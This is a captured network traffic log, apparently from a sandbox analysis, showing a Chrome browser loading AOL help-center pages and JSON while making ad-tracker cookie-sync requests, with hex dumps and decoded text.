2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 62 3e 53 70 65 6c 6c 20 43 68 65 63 6b 3c 2f 62 3e 20 2d 20 44 6f 6e 26 23 33 39 3b 74 20 77 6f 72 72 79 20 61 62 6f 75 74 20 65 6d 62 61 72 72 61 73 73 69 6e 67 20 74 79 70 6f 73 21 20 3c 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 61 6f 6c 2e 63 6f 6d 2f 61 72 74 69 63 6c 65 73 2f 63 68 65 63 6b 2d 73 70 65 6c 6c 69 6e 67 2d 69 6e 2d 6e 65 77 2d 61 6f 6c 2d 6d 61 69 6c 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 73 65 6c 66 5c 22 20 74 69 74 6c 65 3d 5c 22 47 6f 20 74 6f 20 6f 75 72 20 68 65 6c 70 20 61 72 74 69 63 6c 65 20 74 6f 20 6c 65 61 72 6e 20 68 6f 77 20 74 6f 20 75 73 65 20 73 70 65 6c 6c 20 63 68 65 63 6b 2e 5c 22 3e 55 73 65 20 73 70 65 6c 6c 20 63 68 65 63 6b 20 69 6e 20 41 4f 4c 20 4d 61 69 6c 3c 2f 61 3e 2e 3c 2f 6c 69 3e Data Ascii: b>Spell Check</b> - Don't worry about embarrassing typos! <a href=\"https://help.aol.com/articles/check-spelling-in-new-aol-mail\" target=\"_self\" title=\"Go to our help article to learn how to use spell check.\">Use spell check in AOL Mail</a>.</li>
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 5f 73 65 6c 66 5c 22 20 74 69 74 6c 65 3d 5c 22 47 6f 20 74 6f 20 6f 75 72 20 68 65 6c 70 20 61 72 74 69 63 6c 65 20 74 6f 20 6c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f 75 74 20 74 61 6b 69 6e 67 20 6e 6f 74 65 73 20 69 6e 20 41 4f 4c 20 4d 61 69 6c 2e 5c 22 3e 54 61 6b 65 20 6e 6f 74 65 73 3c 2f 61 3e 20 74 6f 20 68 65 6c 70 20 65 6e 73 75 72 65 20 79 6f 75 20 64 6f 6e 26 23 33 39 3b 74 20 66 6f 72 67 65 74 20 62 72 69 6c 6c 69 61 6e 74 20 69 64 65 61 73 2e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 62 3e 43 61 6c 65 6e 64 61 72 3c 2f 62 3e 20 2d 20 3c 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 61 6f 6c 2e 63 6f 6d 2f 61 72 74 69 63 6c 65 73 2f 61 64 64 2d 65 64 69 74 2d 6f 72 2d 64 65 6c 65 74 65 2d 63 61 6c 65 6e 64 61 72 2d 65 76 65 6e 74 73 Data Ascii: _self\" title=\"Go to our help article to learn more about taking notes in AOL Mail.\">Take notes</a> to help ensure you don't forget brilliant ideas.</li><li><b>Calendar</b> - <a href=\"https://help.aol.com/articles/add-edit-or-delete-calendar-events
2024-05-23 22:35:16 UTC	1287	IN	Data Raw: 6c 69 3e 3c 6c 69 3e 3c 62 3e 4d 65 73 73 61 67 65 20 6c 61 79 6f 75 74 20 61 6e 64 20 69 6e 62 6f 78 20 73 70 61 63 69 6e 67 3c 2f 62 3e 20 2d 20 52 65 61 64 20 79 6f 75 72 20 65 6d 61 69 6c 73 20 61 6e 64 20 76 69 65 77 20 79 6f 75 72 20 75 6e 6f 70 65 6e 65 64 20 6d 65 73 73 61 67 65 73 20 69 6e 20 79 6f 75 72 20 49 6e 62 6f 78 20 61 74 20 74 68 65 20 73 61 6d 65 20 74 69 6d 65 2e 5c 6e 5c 74 3c 70 3e c2 a0 3c 2f 70 3e 5c 6e 5c 74 3c 2f 6c 69 3e 3c 2f 75 6c 3e 5c 6e 5c 6e 3c 70 20 61 6c 69 67 6e 3d 5c 22 63 65 6e 74 65 72 5c 22 3e 3c 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 6f 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 6f 73 2f 68 65 6c 70 2f 30 30 30 30 31 33 36 35 30 2f 50 65 72 73 6f 6e 61 6c 69 7a 65 49 6e 62 6f 78 2e 6d 70 34 5c 22 20 74 61 72 Data Ascii: li><li><b>Message layout and inbox spacing</b> - Read your emails and view your unopened messages in your Inbox at the same time.\n\t<p></p>\n\t</li></ul>\n\n<p align=\"center\"><a href=\"https://o.aolcdn.com/os/help/000013650/PersonalizeInbox.mp4\" tar
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 65 73 20 79 6f 75 26 23 33 39 3b 76 65 20 73 75 62 73 63 72 69 62 65 64 20 74 6f 20 72 65 63 65 69 76 69 6e 67 20 65 6d 61 69 6c 73 2e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 5c 6e 5c 6e 3c 70 20 61 6c 69 67 6e 3d 5c 22 63 65 6e 74 65 72 5c 22 3e 3c 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 6f 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 6f 73 2f 68 65 6c 70 2f 30 30 30 30 31 33 36 35 30 2f 56 69 65 77 73 46 69 6e 61 6c 2e 6d 70 34 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 3e 3c 69 6d 67 20 68 65 69 67 68 74 3d 5c 22 33 30 38 5c 22 20 73 72 63 3d 5c 22 68 74 74 70 73 3a 2f 2f 6f 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 6f 73 2f 68 65 6c 70 2f 30 30 30 30 31 33 36 35 30 2f 63 6f 76 65 72 70 68 6f 74 6f 32 2e 70 6e 67 5c 22 20 74 69 74 6c 65 3d 5c 22 43 Data Ascii: es you've subscribed to receiving emails.</li></ul>\n\n<p align=\"center\"><a href=\"https://o.aolcdn.com/os/help/000013650/ViewsFinal.mp4\" target=\"_blank\"><img height=\"308\" src=\"https://o.aolcdn.com/os/help/000013650/coverphoto2.png\" title=\"C
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 5c 22 70 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 3c 6f 6c 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6f 6c 2e 63 6f 6d 2f 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 3e 47 6f 20 74 6f 20 74 68 65 20 6d 61 69 6e 20 41 4f 4c 20 70 61 67 65 3c 2f 61 3e 2e 3c 2f 6c 69 3e 3c 6c 69 3e 43 6c 69 63 6b 20 3c 62 3e 53 69 67 6e 20 69 6e 3c 2f 62 3e 20 69 6e 20 74 68 65 20 75 70 70 65 72 20 72 69 67 68 74 20 68 61 6e 64 20 63 6f 72 6e 65 72 2e 3c 2f 6c 69 3e 3c 6c 69 3e 43 6c 69 63 6b 20 3c 62 3e 43 72 65 61 74 65 20 61 6e 20 61 63 63 6f 75 6e 74 3c 2f 62 3e 20 61 74 20 74 68 65 20 62 6f 74 74 6f 6d 20 6f 66 20 74 68 65 20 73 63 72 65 65 6e 2e 3c 2f 6c 69 3e 3c 6c 69 3e 45 6e 74 65 72 20 61 6e 64 20 73 75 62 6d 69 Data Ascii: \"pcontent\">\n<ol><li><a href=\"https://www.aol.com/\" target=\"_blank\">Go to the main AOL page</a>.</li><li>Click <b>Sign in</b> in the upper right hand corner.</li><li>Click <b>Create an account</b> at the bottom of the screen.</li><li>Enter and submi
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 72 74 69 63 6c 65 73 22 3a 5b 5d 2c 22 72 65 6c 61 74 65 64 5f 70 72 6f 64 75 63 74 73 22 3a 5b 5d 7d 2c 7b 22 6d 6f 64 69 66 69 65 64 5f 64 61 74 65 22 3a 22 4f 63 74 20 32 38 2c 20 32 30 32 33 22 2c 22 63 72 65 61 74 65 64 5f 62 79 22 3a 22 30 30 35 31 4e 30 30 30 30 30 36 33 36 46 6c 51 41 49 22 2c 22 74 69 74 6c 65 22 3a 22 55 73 65 20 50 4f 50 20 6f 72 20 49 4d 41 50 20 74 6f 20 73 79 6e 63 20 41 4f 4c 20 4d 61 69 6c 20 6f 6e 20 61 20 74 68 69 72 64 2d 70 61 72 74 79 20 61 70 70 20 6f 72 20 64 6f 77 6e 6c 6f 61 64 20 79 6f 75 72 20 65 6d 61 69 6c 22 2c 22 73 75 6d 6d 61 72 79 22 3a 22 4c 65 61 72 6e 20 68 6f 77 20 74 6f 20 73 79 6e 63 20 41 4f 4c 20 4d 61 69 6c 20 77 69 74 68 20 61 20 74 68 69 72 64 2d 70 61 72 74 79 20 61 70 70 2c 20 75 73 69 6e 67 Data Ascii: rticles":[],"related_products":[]},{"modified_date":"Oct 28, 2023","created_by":"0051N00000636FlQAI","title":"Use POP or IMAP to sync AOL Mail on a third-party app or download your email","summary":"Learn how to sync AOL Mail with a third-party app, using
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 6f 66 20 79 6f 75 72 20 65 6d 61 69 6c 73 2c 20 79 6f 75 26 23 33 39 3b 64 20 6e 65 65 64 20 74 6f 20 6d 6f 76 65 20 65 6d 61 69 6c 20 66 72 6f 6d 20 65 78 69 73 74 69 6e 67 20 66 6f 6c 64 65 72 73 20 74 6f 20 74 68 65 20 49 6e 62 6f 78 2e 3c 2f 70 3e 5c 6e 5c 6e 3c 70 3e 49 4d 41 50 2c 20 68 6f 77 65 76 65 72 2c 20 63 6f 6e 74 69 6e 75 61 6c 6c 79 20 73 79 6e 63 73 20 74 68 65 20 61 70 70 20 61 6e 64 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 20 74 6f 20 6b 65 65 70 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 69 6e 20 62 6f 74 68 20 70 6c 61 63 65 73 20 69 64 65 6e 74 69 63 61 6c 2e 20 54 68 69 73 20 6d 65 61 6e 73 20 74 68 61 74 20 61 6e 79 74 68 69 6e 67 20 79 6f 75 20 64 6f 20 77 69 74 68 20 6d 65 73 73 61 67 65 73 20 6f 72 20 66 6f 6c 64 65 72 73 Data Ascii: of your emails, you'd need to move email from existing folders to the Inbox.</p>\n\n<p>IMAP, however, continually syncs the app and your account to keep the information in both places identical. This means that anything you do with messages or folders

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
675	192.168.2.6	50519	95.101.148.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	993	OUT	GET /cksync.php?type=rbcn&ovsid=LWJTZABN-X-K4PW&gdpr=0&gdpr_consent=undefined&us_privacy=1YNN HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3595052986404735000V10; data-rk=5144588530448503731~~8; data-o=e76223d5-0ccf-44a1-8261-d9c1c88ec58a~~8; data-so=3e69915a-aa81-453c-8be6-621af7150f41~~8; data-co=AQAGvoDLNisIcgIhnUBBAQEBAQEBAQCOppb7kAEBAI6mlvuQ~~8; data-g=CAESEEPGHKjwV8vQHjvJtIgKGQI~~8; data-ze=Ldu6nP-f8GRn9WiN8PL4~~1
2024-05-23 22:35:16 UTC	623	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-r=LWJTZABN-X-K4PW~~1;Expires=Tue, 19 Nov 2024 22:35:16 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Thu, 23 May 2024 22:35:16 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 23 May 2024 22:35:16 GMT Connection: close
2024-05-23 22:35:16 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-05-23 22:35:16 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
676	192.168.2.6	50520	34.255.48.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	707	OUT	GET /cookie-sync/rp?bee_sync_partners=rp&gdpr=0&us_privacy=1YNN&_bee_ppp=1 HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AANRF07Mn4kAABWNJQroRw; bitoIsSecure=ok
2024-05-23 22:35:16 UTC	424	IN	HTTP/1.1 303 See Other Date: Thu, 23 May 2024 22:35:16 GMT location: https://pixel.rubiconproject.com/tap.php?v=183462&nid=4114&put=AANRF07Mn4kAABWNJQroRw&expires=30&gdpr=0 Server: gunicorn set-cookie: bito=AANRF07Mn4kAABWNJQroRw; Domain=bidr.io; expires=Sun, 22 Jun 2025 18:35:16 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
677	192.168.2.6	50523	69.147.82.60	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1558	OUT	GET /api/products/featured HTTP/1.1 Host: help.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; __gads=ID=cf34bc004ab85396:T=1716503704:RT=1716503704:S=ALNI_MZnOB51wnrcEWjZprb6rvOJUgClmQ; __gpi=UID=00000e2999aacdfe:T=1716503704:RT=1716503704:S=ALNI_MY9O14HHs8YKl5kfvcdXBhk0EwHkQ; __eoi=ID=a6ae538b18abc9da:T=1716503704:RT=1716503704:S=AA-AfjYto1E7XPavVNBFXiwWpyxq; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
2024-05-23 22:35:16 UTC	1032	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:16 GMT Content-Type: application/json;charset=utf-8 Content-Length: 5776 Server: ATS vary: origin,accept-encoding strict-transport-security: max-age=31536000 x-frame-options: DENY x-download-options: noopen cache-control: max-age=300, must-revalidate Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: __gpi=DELETE; Expires=Thu, 23 May 2024 22:25:16 GMT; Max-Age=0; Domain=help.aol.com; Path=; Secure; HttpOnly Set-Cookie: __gpi=DELETE; Expires=Thu, 23 May 2024 22:25:16 GMT; Max-Age=0; Domain=aol.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Thu, 23 May 2024 22:25:16 GMT; Max-Age=0; Domain=help.aol.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Thu, 23 May 2024 22:25:16 GMT; Max-Age=0; Domain=aol.com; Path=; Secure; HttpOnly
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 7b 22 66 65 61 74 75 72 65 64 5f 70 72 6f 64 75 63 74 73 22 3a 5b 7b 22 73 6b 75 22 3a 22 68 65 6c 70 2d 63 65 6e 74 72 61 6c 2d 6e 65 77 2d 61 6f 6c 2d 6d 61 69 6c 22 2c 22 6e 61 6d 65 22 3a 22 41 4f 4c 20 4d 61 69 6c 22 2c 22 70 72 69 63 65 22 3a 22 30 2e 30 30 30 30 22 2c 22 73 6c 75 67 22 3a 22 6e 65 77 2d 61 6f 6c 2d 6d 61 69 6c 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4c 65 61 72 6e 20 61 62 6f 75 74 20 77 68 61 74 20 41 4f 4c 20 4d 61 69 6c 20 68 61 73 20 74 6f 20 6f 66 66 65 72 20 61 6e 64 20 68 6f 77 20 74 6f 20 6d 61 6b 65 20 69 74 20 79 6f 75 72 20 6f 77 6e 2e 20 59 6f 75 27 76 65 20 47 6f 74 20 4d 61 69 6c 21 c2 ae 22 2c 22 72 65 6c 61 74 65 64 5f 61 72 74 69 63 6c 65 73 22 3a 5b 7b 22 6d 6f 64 69 66 69 65 64 5f 64 61 74 65 22 3a 22 Data Ascii: {"featured_products":[{"sku":"help-central-new-aol-mail","name":"AOL Mail","price":"0.0000","slug":"new-aol-mail","description":"Learn about what AOL Mail has to offer and how to make it your own. You've Got Mail!","related_articles":[{"modified_date":"
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 69 6e 2f 63 6f 6e 74 65 6e 74 2d 74 79 70 65 73 2f 61 72 74 69 63 6c 65 22 7d 2c 22 70 72 6f 64 75 63 74 22 3a 7b 22 6e 61 6d 65 22 3a 22 4d 61 69 6c 22 2c 22 73 6c 75 67 22 3a 22 6e 65 77 2d 61 6f 6c 2d 6d 61 69 6c 22 7d 7d 2c 7b 22 6d 6f 64 69 66 69 65 64 5f 64 61 74 65 22 3a 22 4f 63 74 20 32 38 2c 20 32 30 32 33 22 2c 22 74 69 74 6c 65 22 3a 22 43 68 61 6e 67 65 20 79 6f 75 72 20 73 65 6e 64 69 6e 67 20 6e 61 6d 65 20 69 6e 20 41 4f 4c 20 4d 61 69 6c 22 2c 22 73 75 6d 6d 61 72 79 22 3a 22 4c 65 61 72 6e 20 68 6f 77 20 74 6f 20 63 68 61 6e 67 65 20 74 68 65 20 73 65 6e 64 69 6e 67 20 6e 61 6d 65 20 69 6e 20 41 4f 4c 20 4d 61 69 6c 2e 22 2c 22 73 6c 75 67 22 3a 22 63 68 61 6e 67 65 2d 79 6f 75 72 2d 73 65 6e 64 69 6e 67 2d 6e 61 6d 65 2d 69 6e 2d 6e 65 Data Ascii: in/content-types/article"},"product":{"name":"Mail","slug":"new-aol-mail"}},{"modified_date":"Oct 28, 2023","title":"Change your sending name in AOL Mail","summary":"Learn how to change the sending name in AOL Mail.","slug":"change-your-sending-name-in-ne
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 3a 22 61 6f 6c 2d 64 65 73 6b 74 6f 70 2d 66 65 61 74 75 72 65 73 2d 61 6e 64 2d 77 68 61 74 73 2d 6e 65 77 22 2c 22 63 6f 6e 74 65 6e 74 5f 74 79 70 65 22 3a 7b 22 63 6f 6c 6f 72 22 3a 22 23 34 37 35 63 64 62 22 2c 22 63 6f 6c 6f 72 32 22 3a 22 22 2c 22 69 63 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 6f 73 2f 68 65 6c 70 2d 6d 61 69 6e 2f 63 6f 6e 74 65 6e 74 2d 74 79 70 65 73 2f 61 72 74 69 63 6c 65 22 7d 2c 22 70 72 6f 64 75 63 74 22 3a 7b 22 6e 61 6d 65 22 3a 22 44 65 73 6b 74 6f 70 20 47 6f 6c 64 22 2c 22 73 6c 75 67 22 3a 22 6e 65 77 2d 61 6f 6c 2d 64 65 73 6b 74 6f 70 22 7d 7d 2c 7b 22 6d 6f 64 69 66 69 65 64 5f 64 61 74 65 22 3a 22 4f 63 74 20 32 38 2c 20 32 30 32 33 22 2c 22 74 69 74 6c 65 22 3a 22 54 72 6f 75 Data Ascii: :"aol-desktop-features-and-whats-new","content_type":{"color":"#475cdb","color2":"","icon":"https://s.aolcdn.com/os/help-main/content-types/article"},"product":{"name":"Desktop Gold","slug":"new-aol-desktop"}},{"modified_date":"Oct 28, 2023","title":"Trou
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 6e 74 5f 74 79 70 65 22 3a 7b 22 63 6f 6c 6f 72 22 3a 22 23 34 37 35 63 64 62 22 2c 22 63 6f 6c 6f 72 32 22 3a 22 22 2c 22 69 63 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 6f 73 2f 68 65 6c 70 2d 6d 61 69 6e 2f 63 6f 6e 74 65 6e 74 2d 74 79 70 65 73 2f 61 72 74 69 63 6c 65 22 7d 2c 22 70 72 6f 64 75 63 74 22 3a 7b 22 6e 61 6d 65 22 3a 22 44 65 73 6b 74 6f 70 20 47 6f 6c 64 22 2c 22 73 6c 75 67 22 3a 22 6e 65 77 2d 61 6f 6c 2d 64 65 73 6b 74 6f 70 22 7d 7d 5d 7d 2c 7b 22 73 6b 75 22 3a 22 68 65 6c 70 2d 63 65 6e 74 72 61 6c 2d 61 6f 6c 2d 61 70 70 22 2c 22 6e 61 6d 65 22 3a 22 41 4f 4c 20 61 70 70 20 66 6f 72 20 41 6e 64 72 6f 69 64 22 2c 22 70 72 69 63 65 22 3a 22 30 2e 30 30 30 30 22 2c 22 73 6c 75 67 22 3a 22 61 6f 6c Data Ascii: nt_type":{"color":"#475cdb","color2":"","icon":"https://s.aolcdn.com/os/help-main/content-types/article"},"product":{"name":"Desktop Gold","slug":"new-aol-desktop"}}]},{"sku":"help-central-aol-app","name":"AOL app for Android","price":"0.0000","slug":"aol
2024-05-23 22:35:16 UTC	576	IN	Data Raw: 74 22 3a 7b 22 6e 61 6d 65 22 3a 22 41 4f 4c 20 61 70 70 20 66 6f 72 20 41 6e 64 72 6f 69 64 22 2c 22 73 6c 75 67 22 3a 22 61 6f 6c 2d 61 70 70 22 7d 7d 2c 7b 22 6d 6f 64 69 66 69 65 64 5f 64 61 74 65 22 3a 22 46 65 62 20 32 31 2c 20 32 30 32 34 22 2c 22 74 69 74 6c 65 22 3a 22 4f 76 65 72 76 69 65 77 20 6f 66 20 74 68 65 20 75 70 64 61 74 65 64 20 41 4f 4c 20 61 70 70 20 65 78 70 65 72 69 65 6e 63 65 20 66 6f 72 20 41 6e 64 72 6f 69 64 22 2c 22 73 75 6d 6d 61 72 79 22 3a 22 4c 65 61 72 6e 20 68 6f 77 20 74 6f 20 6f 72 67 61 6e 69 7a 65 20 79 6f 75 72 20 65 6d 61 69 6c 20 61 6e 64 20 6e 61 76 69 67 61 74 65 20 77 69 74 68 69 6e 20 63 6f 6e 76 65 72 73 61 74 69 6f 6e 73 2e 20 56 69 65 77 20 6e 65 77 73 20 61 6e 64 20 73 74 6f 72 69 65 73 20 72 65 6c 65 76 Data Ascii: t":{"name":"AOL app for Android","slug":"aol-app"}},{"modified_date":"Feb 21, 2024","title":"Overview of the updated AOL app experience for Android","summary":"Learn how to organize your email and navigate within conversations. View news and stories relev

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
678	192.168.2.6	50522	69.147.82.60	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1581	OUT	GET /api/site/features HTTP/1.1 Host: help.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 x-help-host: help.aol.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; __gads=ID=cf34bc004ab85396:T=1716503704:RT=1716503704:S=ALNI_MZnOB51wnrcEWjZprb6rvOJUgClmQ; __gpi=UID=00000e2999aacdfe:T=1716503704:RT=1716503704:S=ALNI_MY9O14HHs8YKl5kfvcdXBhk0EwHkQ; __eoi=ID=a6ae538b18abc9da:T=1716503704:RT=1716503704:S=AA-AfjYto1E7XPavVNBFXiwWpyxq; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
2024-05-23 22:35:16 UTC	1017	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:16 GMT Content-Type: application/json;charset=utf-8 Content-Length: 143 Server: ATS vary: origin strict-transport-security: max-age=31536000 x-frame-options: DENY x-download-options: noopen cache-control: no-cache accept-ranges: bytes Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: __gpi=DELETE; Expires=Thu, 23 May 2024 22:25:16 GMT; Max-Age=0; Domain=help.aol.com; Path=; Secure; HttpOnly Set-Cookie: __gpi=DELETE; Expires=Thu, 23 May 2024 22:25:16 GMT; Max-Age=0; Domain=aol.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Thu, 23 May 2024 22:25:16 GMT; Max-Age=0; Domain=help.aol.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Thu, 23 May 2024 22:25:16 GMT; Max-Age=0; Domain=aol.com; Path=; Secure; HttpOnly
